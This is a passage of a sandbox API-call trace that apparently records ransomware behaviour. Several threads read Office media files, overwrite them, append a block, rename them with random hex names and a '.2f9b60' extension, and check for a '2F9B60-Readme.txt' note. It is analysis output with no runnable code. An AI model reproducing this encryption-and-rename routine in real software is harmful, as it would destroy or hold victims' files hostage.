Size=0x20) returned 0x1b82a6c0 [0121.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6f60 [0121.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6cf0 [0121.334] NtQuerySystemTime (in: CurrentTime=0x3923fae0 | out: CurrentTime=0x3923fae0*=132462177267262000) returned 0x0 [0121.334] RtlRandomEx (in: Seed=0x3923fad0 | out: Seed=0x3923fad0) returned 0x343fdcce [0121.334] RtlRandomEx (in: Seed=0x3923fad0 | out: Seed=0x3923fad0) returned 0x213ffb40 [0121.334] RtlRandomEx (in: Seed=0x3923fad0 | out: Seed=0x3923fad0) returned 0x175db0d3 [0121.334] RtlRandomEx (in: Seed=0x3923fad0 | out: Seed=0x3923fad0) returned 0x4f18377f [0121.334] RtlRandomEx (in: Seed=0x3923fad0 | out: Seed=0x3923fad0) returned 0x4b5a8262 [0121.334] RtlRandomEx (in: Seed=0x3923fad0 | out: Seed=0x3923fad0) returned 0x3d60bb95 [0121.334] RtlRandomEx (in: Seed=0x3923fad0 | out: Seed=0x3923fad0) returned 0x33a2d4d5 [0121.334] RtlRandomEx (in: Seed=0x3923fad0 | out: Seed=0x3923fad0) returned 0x38887f8e [0121.334] RtlRandomEx (in: Seed=0x3923fad0 | out: Seed=0x3923fad0) returned 0x7f20f6e0 [0121.334] RtlRandomEx (in: Seed=0x3923fad0 | out: Seed=0x3923fad0) returned 0x312179cf [0121.334] RtlRandomEx (in: Seed=0x3923fad0 | out: Seed=0x3923fad0) returned 0x22163700 [0121.334] RtlRandomEx (in: Seed=0x3923fad0 | out: Seed=0x3923fad0) returned 0x3101677f [0121.334] RtlRandomEx (in: Seed=0x3923fad0 | out: Seed=0x3923fad0) returned 0x5ddefd9 [0121.334] RtlRandomEx (in: Seed=0x3923fad0 | out: Seed=0x3923fad0) returned 0x4e7adfff [0121.334] RtlRandomEx (in: Seed=0x3923fad0 | out: Seed=0x3923fad0) returned 0x15c04b07 [0121.334] RtlRandomEx (in: Seed=0x3923fad0 | out: Seed=0x3923fad0) returned 0x328a0dbf [0121.334] RtlRandomEx (in: Seed=0x3923fad0 | out: Seed=0x3923fad0) returned 0x2d811449 [0121.335] RtlRandomEx (in: Seed=0x3923fad0 | out: Seed=0x3923fad0) returned 0xed9274d [0121.335] RtlRandomEx (in: Seed=0x3923fad0 | out: Seed=0x3923fad0) returned 0x724b084e [0121.335] RtlRandomEx (in: Seed=0x3923fad0 | out: Seed=0x3923fad0) returned 0xba56f2f [0121.335] RtlRandomEx (in: Seed=0x3923fad0 | out: Seed=0x3923fad0) returned 0x1afac09a [0121.335] RtlRandomEx (in: Seed=0x3923fad0 | out: Seed=0x3923fad0) returned 0x44f92b0e [0121.335] RtlRandomEx (in: Seed=0x3923fad0 | out: Seed=0x3923fad0) returned 0x1801ea1b [0121.335] RtlRandomEx (in: Seed=0x3923fad0 | out: Seed=0x3923fad0) returned 0x312179cf [0121.335] RtlRandomEx (in: Seed=0x3923fad0 | out: Seed=0x3923fad0) returned 0x31254f7 [0121.335] RtlRandomEx (in: Seed=0x3923fad0 | out: Seed=0x3923fad0) returned 0xa22633c [0121.337] RtlRandomEx (in: Seed=0x3923fad0 | out: Seed=0x3923fad0) returned 0x6ab121ce [0121.337] RtlRandomEx (in: Seed=0x3923fad0 | out: Seed=0x3923fad0) returned 0x421edbc1 [0121.337] RtlRandomEx (in: Seed=0x3923fad0 | out: Seed=0x3923fad0) returned 0x42aa72c4 [0121.337] RtlRandomEx (in: Seed=0x3923fad0 | out: Seed=0x3923fad0) returned 0x61e19775 [0121.337] RtlRandomEx (in: Seed=0x3923fad0 | out: Seed=0x3923fad0) returned 0x2a5da052 [0121.337] RtlRandomEx (in: Seed=0x3923fad0 | out: Seed=0x3923fad0) returned 0x63f34884 [0124.454] ReadFile (in: hFile=0x14d4, lpBuffer=0x41c885a0, nNumberOfBytesToRead=0x7c6, lpNumberOfBytesRead=0x3923fad0, lpOverlapped=0x0 | out: lpBuffer=0x41c885a0*, lpNumberOfBytesRead=0x3923fad0*=0x7c6, lpOverlapped=0x0) returned 1 [0124.455] SetFilePointerEx (in: hFile=0x14d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.455] WriteFile (in: hFile=0x14d4, lpBuffer=0x41b39560*, nNumberOfBytesToWrite=0x7c6, lpNumberOfBytesWritten=0x3923fad4, lpOverlapped=0x0 | out: lpBuffer=0x41b39560*, lpNumberOfBytesWritten=0x3923fad4*=0x7c6, lpOverlapped=0x0) returned 1 [0124.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263470 [0124.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262180 [0124.512] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262180) returned 1 [0124.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b39560) returned 1 [0124.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c885a0) returned 1 [0124.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504710) returned 1 [0124.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97440) returned 1 [0124.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20262180 [0124.513] SetFilePointerEx (in: hFile=0x14d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.513] WriteFile (in: hFile=0x14d4, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3923fbf0, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x3923fbf0*=0x10a, lpOverlapped=0x0) returned 1 [0124.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97490 [0124.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504790 [0124.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced80a0 [0124.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced80a0) returned 1 [0124.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0124.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced80a0 [0124.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c50 [0124.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7c50) returned 1 [0124.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504790) returned 1 [0124.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0124.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0570 [0124.943] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="60") returned 2 [0124.943] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="b4") returned 2 [0124.943] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="2c") returned 2 [0124.943] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="a4") returned 2 [0124.943] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="5f") returned 2 [0124.943] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="98") returned 2 [0124.943] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="97") returned 2 [0124.943] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="f6") returned 2 [0124.943] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="c8") returned 2 [0124.943] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="71") returned 2 [0124.944] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="2f") returned 2 [0124.944] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="cc") returned 2 [0124.944] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="ba") returned 2 [0124.944] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="d3") returned 2 [0124.944] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="4b") returned 2 [0124.944] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="ec") returned 2 [0124.944] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="1c") returned 2 [0124.944] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="88") returned 2 [0124.944] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="c9") returned 2 [0124.944] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="f2") returned 2 [0124.944] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="b3") returned 2 [0124.944] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="94") returned 2 [0124.944] sprintf (in: _Dest=0x1cda059c, _Format="%c%c" | out: _Dest="a7") returned 2 [0124.944] sprintf (in: _Dest=0x1cda059e, _Format="%c%c" | out: _Dest="86") returned 2 [0124.944] RtlInitAnsiString (in: DestinationString=0x3923fc68, SourceString="60b42ca45f9897f6c8712fccbad34bec1c88c9f2b394a786" | out: DestinationString="60b42ca45f9897f6c8712fccbad34bec1c88c9f2b394a786") [0124.944] RtlAnsiStringToUnicodeString (in: DestinationString=0x3923fc38, SourceString="60b42ca45f9897f6c8712fccbad34bec1c88c9f2b394a786", AllocateDestinationString=1 | out: DestinationString="60b42ca45f9897f6c8712fccbad34bec1c88c9f2b394a786") returned 0x0 [0124.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b864530 [0124.945] wcscat (in: _Dest=0x2027bc30, _Source="60b42ca45f98" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\60b42ca45f98") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\60b42ca45f98" [0124.945] wcscat (in: _Dest=0x2027bc30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\60b42ca45f98.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\60b42ca45f98.2f9b60" [0124.945] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\60b42ca45f98.2f9b60", NtPathName=0x3923fc10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\60b42ca45f98.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ad130 [0124.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad130) returned 1 [0124.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46a60) returned 1 [0124.972] NtQueryInformationFile (in: FileHandle=0x14d4, IoStatusBlock=0x3923fc78, FileInformation=0x3923fc88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3923fc78, FileInformation=0x3923fc88) returned 0x0 [0124.972] NtSetInformationFile (FileHandle=0x14d4, IoStatusBlock=0x3923fc78, FileInformation=0x3923fc88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027bc30) returned 1 [0124.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864530) returned 1 [0124.979] FlushFileBuffers (hFile=0x14d4) returned 1 [0124.986] CloseHandle (hObject=0x14d4) returned 1 [0124.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a5610 [0124.992] wcscpy (in: _Dest=0x202a5610, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0124.992] wcscat (in: _Dest=0x202a5610, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0124.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0124.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5610) returned 1 [0124.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86abc0) returned 1 Thread: id = 1232 os_tid = 0xca0 [0115.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222019.wmf")) returned 0x20 [0115.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF", dwFileAttributes=0x20) returned 1 [0120.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222019.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222019.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14ac [0120.604] GetFileSizeEx (in: hFile=0x14ac, lpFileSize=0x1fcdfdc0 | out: lpFileSize=0x1fcdfdc0*=1422) returned 1 [0120.604] SetFilePointerEx (in: hFile=0x14ac, liDistanceToMove=0x58a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.604] ReadFile (in: hFile=0x14ac, lpBuffer=0x1fcdfd40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1fcdfd88, lpOverlapped=0x0 | out: lpBuffer=0x1fcdfd40*, lpNumberOfBytesRead=0x1fcdfd88*=0x4, lpOverlapped=0x0) returned 1 [0121.359] SetFilePointerEx (in: hFile=0x14ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a6c0 [0121.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6cf0 [0121.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7a40 [0121.360] NtQuerySystemTime (in: CurrentTime=0x1fcdfc80 | out: CurrentTime=0x1fcdfc80*=132462177267574000) returned 0x0 [0121.360] RtlRandomEx (in: Seed=0x1fcdfc70 | out: Seed=0x1fcdfc70) returned 0x160b7cfb [0121.360] RtlRandomEx (in: Seed=0x1fcdfc70 | out: Seed=0x1fcdfc70) returned 0x53859c05 [0121.360] RtlRandomEx (in: Seed=0x1fcdfc70 | out: Seed=0x1fcdfc70) returned 0x203ee6c0 [0121.360] RtlRandomEx (in: Seed=0x1fcdfc70 | out: Seed=0x1fcdfc70) returned 0x7331361a [0121.360] RtlRandomEx (in: Seed=0x1fcdfc70 | out: Seed=0x1fcdfc70) returned 0x48b60665 [0121.360] RtlRandomEx (in: Seed=0x1fcdfc70 | out: Seed=0x1fcdfc70) returned 0x46e7233b [0121.360] RtlRandomEx (in: Seed=0x1fcdfc70 | out: Seed=0x1fcdfc70) returned 0x5ebfae4f [0121.360] RtlRandomEx (in: Seed=0x1fcdfc70 | out: Seed=0x1fcdfc70) returned 0x6d2eb23c [0121.360] RtlRandomEx (in: Seed=0x1fcdfc70 | out: Seed=0x1fcdfc70) returned 0x48dd7df3 [0121.360] RtlRandomEx (in: Seed=0x1fcdfc70 | out: Seed=0x1fcdfc70) returned 0x4e94d7f8 [0121.360] RtlRandomEx (in: Seed=0x1fcdfc70 | out: Seed=0x1fcdfc70) returned 0x1b4268da [0121.360] RtlRandomEx (in: Seed=0x1fcdfc70 | out: Seed=0x1fcdfc70) returned 0x48290c3b [0121.360] RtlRandomEx (in: Seed=0x1fcdfc70 | out: Seed=0x1fcdfc70) returned 0x38b4e5d [0121.360] RtlRandomEx (in: Seed=0x1fcdfc70 | out: Seed=0x1fcdfc70) returned 0x13b4fa73 [0121.360] RtlRandomEx (in: Seed=0x1fcdfc70 | out: Seed=0x1fcdfc70) returned 0x6eafed42 [0121.360] RtlRandomEx (in: Seed=0x1fcdfc70 | out: Seed=0x1fcdfc70) returned 0x59d48c28 [0121.360] RtlRandomEx (in: Seed=0x1fcdfc70 | out: Seed=0x1fcdfc70) returned 0x64c317b8 [0121.360] RtlRandomEx (in: Seed=0x1fcdfc70 | out: Seed=0x1fcdfc70) returned 0x682a9cc8 [0121.360] RtlRandomEx (in: Seed=0x1fcdfc70 | out: Seed=0x1fcdfc70) returned 0x2b6c7a23 [0121.360] RtlRandomEx (in: Seed=0x1fcdfc70 | out: Seed=0x1fcdfc70) returned 0x13dafa2c [0121.360] RtlRandomEx (in: Seed=0x1fcdfc70 | out: Seed=0x1fcdfc70) returned 0x6d1d2393 [0121.360] RtlRandomEx (in: Seed=0x1fcdfc70 | out: Seed=0x1fcdfc70) returned 0x5b3c6d98 [0121.360] RtlRandomEx (in: Seed=0x1fcdfc70 | out: Seed=0x1fcdfc70) returned 0x16ed1647 [0121.360] RtlRandomEx (in: Seed=0x1fcdfc70 | out: Seed=0x1fcdfc70) returned 0x4f9c0f4d [0121.360] RtlRandomEx (in: Seed=0x1fcdfc70 | out: Seed=0x1fcdfc70) returned 0xd1628b2 [0121.360] RtlRandomEx (in: Seed=0x1fcdfc70 | out: Seed=0x1fcdfc70) returned 0x20ab02c0 [0121.360] RtlRandomEx (in: Seed=0x1fcdfc70 | out: Seed=0x1fcdfc70) returned 0x754a98b5 [0121.360] RtlRandomEx (in: Seed=0x1fcdfc70 | out: Seed=0x1fcdfc70) returned 0x35197b23 [0121.360] RtlRandomEx (in: Seed=0x1fcdfc70 | out: Seed=0x1fcdfc70) returned 0x2124a3de [0121.360] RtlRandomEx (in: Seed=0x1fcdfc70 | out: Seed=0x1fcdfc70) returned 0x3d78d431 [0121.360] RtlRandomEx (in: Seed=0x1fcdfc70 | out: Seed=0x1fcdfc70) returned 0x5fc23ba4 [0121.360] RtlRandomEx (in: Seed=0x1fcdfc70 | out: Seed=0x1fcdfc70) returned 0x426e80c2 [0124.456] ReadFile (in: hFile=0x14ac, lpBuffer=0x41c8c1b0, nNumberOfBytesToRead=0x58e, lpNumberOfBytesRead=0x1fcdfc70, lpOverlapped=0x0 | out: lpBuffer=0x41c8c1b0*, lpNumberOfBytesRead=0x1fcdfc70*=0x58e, lpOverlapped=0x0) returned 1 [0124.456] SetFilePointerEx (in: hFile=0x14ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.456] WriteFile (in: hFile=0x14ac, lpBuffer=0x41b3d170*, nNumberOfBytesToWrite=0x58e, lpNumberOfBytesWritten=0x1fcdfc74, lpOverlapped=0x0 | out: lpBuffer=0x41b3d170*, lpNumberOfBytesWritten=0x1fcdfc74*=0x58e, lpOverlapped=0x0) returned 1 [0124.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced70b0 [0124.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6bd0 [0124.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6bd0) returned 1 [0124.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b3d170) returned 1 [0124.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c8c1b0) returned 1 [0124.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504790) returned 1 [0124.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0124.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced6bd0 [0124.933] SetFilePointerEx (in: hFile=0x14ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.933] WriteFile (in: hFile=0x14ac, lpBuffer=0x167a60*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1fcdfd90, lpOverlapped=0x0 | out: lpBuffer=0x167a60*, lpNumberOfBytesWritten=0x1fcdfd90*=0x10a, lpOverlapped=0x0) returned 1 [0124.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97490 [0124.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504790 [0124.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ea0 [0124.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ea0) returned 1 [0124.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0124.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ea0 [0124.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7710 [0124.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7710) returned 1 [0124.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504790) returned 1 [0124.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0124.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0570 [0124.935] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="10") returned 2 [0124.935] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="da") returned 2 [0124.935] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="4d") returned 2 [0124.935] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="90") returned 2 [0124.935] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="4c") returned 2 [0124.935] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="54") returned 2 [0124.935] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="59") returned 2 [0124.935] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="f3") returned 2 [0124.935] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="3d") returned 2 [0124.935] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="68") returned 2 [0124.935] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="ac") returned 2 [0124.935] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="e1") returned 2 [0124.936] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="64") returned 2 [0124.936] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="1b") returned 2 [0124.936] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="19") returned 2 [0124.936] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="8c") returned 2 [0124.936] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="3e") returned 2 [0124.936] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="41") returned 2 [0124.936] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="04") returned 2 [0124.936] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="7d") returned 2 [0124.936] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="5a") returned 2 [0124.936] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="29") returned 2 [0124.936] sprintf (in: _Dest=0x1cda059c, _Format="%c%c" | out: _Dest="51") returned 2 [0124.936] sprintf (in: _Dest=0x1cda059e, _Format="%c%c" | out: _Dest="ac") returned 2 [0124.936] RtlInitAnsiString (in: DestinationString=0x1fcdfe08, SourceString="10da4d904c5459f33d68ace1641b198c3e41047d5a2951ac" | out: DestinationString="10da4d904c5459f33d68ace1641b198c3e41047d5a2951ac") [0124.936] RtlAnsiStringToUnicodeString (in: DestinationString=0x1fcdfdd8, SourceString="10da4d904c5459f33d68ace1641b198c3e41047d5a2951ac", AllocateDestinationString=1 | out: DestinationString="10da4d904c5459f33d68ace1641b198c3e41047d5a2951ac") returned 0x0 [0124.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8647d0 [0124.936] wcscat (in: _Dest=0x2027bc30, _Source="10da4d904c54" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\10da4d904c54") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\10da4d904c54" [0124.936] wcscat (in: _Dest=0x2027bc30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\10da4d904c54.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\10da4d904c54.2f9b60" [0124.936] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\10da4d904c54.2f9b60", NtPathName=0x1fcdfdb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\10da4d904c54.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ad130 [0124.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad130) returned 1 [0124.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46a60) returned 1 [0124.938] NtQueryInformationFile (in: FileHandle=0x14ac, IoStatusBlock=0x1fcdfe18, FileInformation=0x1fcdfe28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1fcdfe18, FileInformation=0x1fcdfe28) returned 0x0 [0124.938] NtSetInformationFile (FileHandle=0x14ac, IoStatusBlock=0x1fcdfe18, FileInformation=0x1fcdfe28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027bc30) returned 1 [0124.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8647d0) returned 1 [0124.939] FlushFileBuffers (hFile=0x14ac) returned 1 [0124.941] CloseHandle (hObject=0x14ac) returned 1 [0124.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202afa00 [0124.948] wcscpy (in: _Dest=0x202afa00, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0124.948] wcscat (in: _Dest=0x202afa00, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0124.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0124.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202afa00) returned 1 [0124.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ab30) returned 1 Thread: id = 1233 os_tid = 0xc9c [0115.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222017.wmf")) returned 0x20 [0115.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF", dwFileAttributes=0x20) returned 1 [0120.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222017.WMF" (normalized: 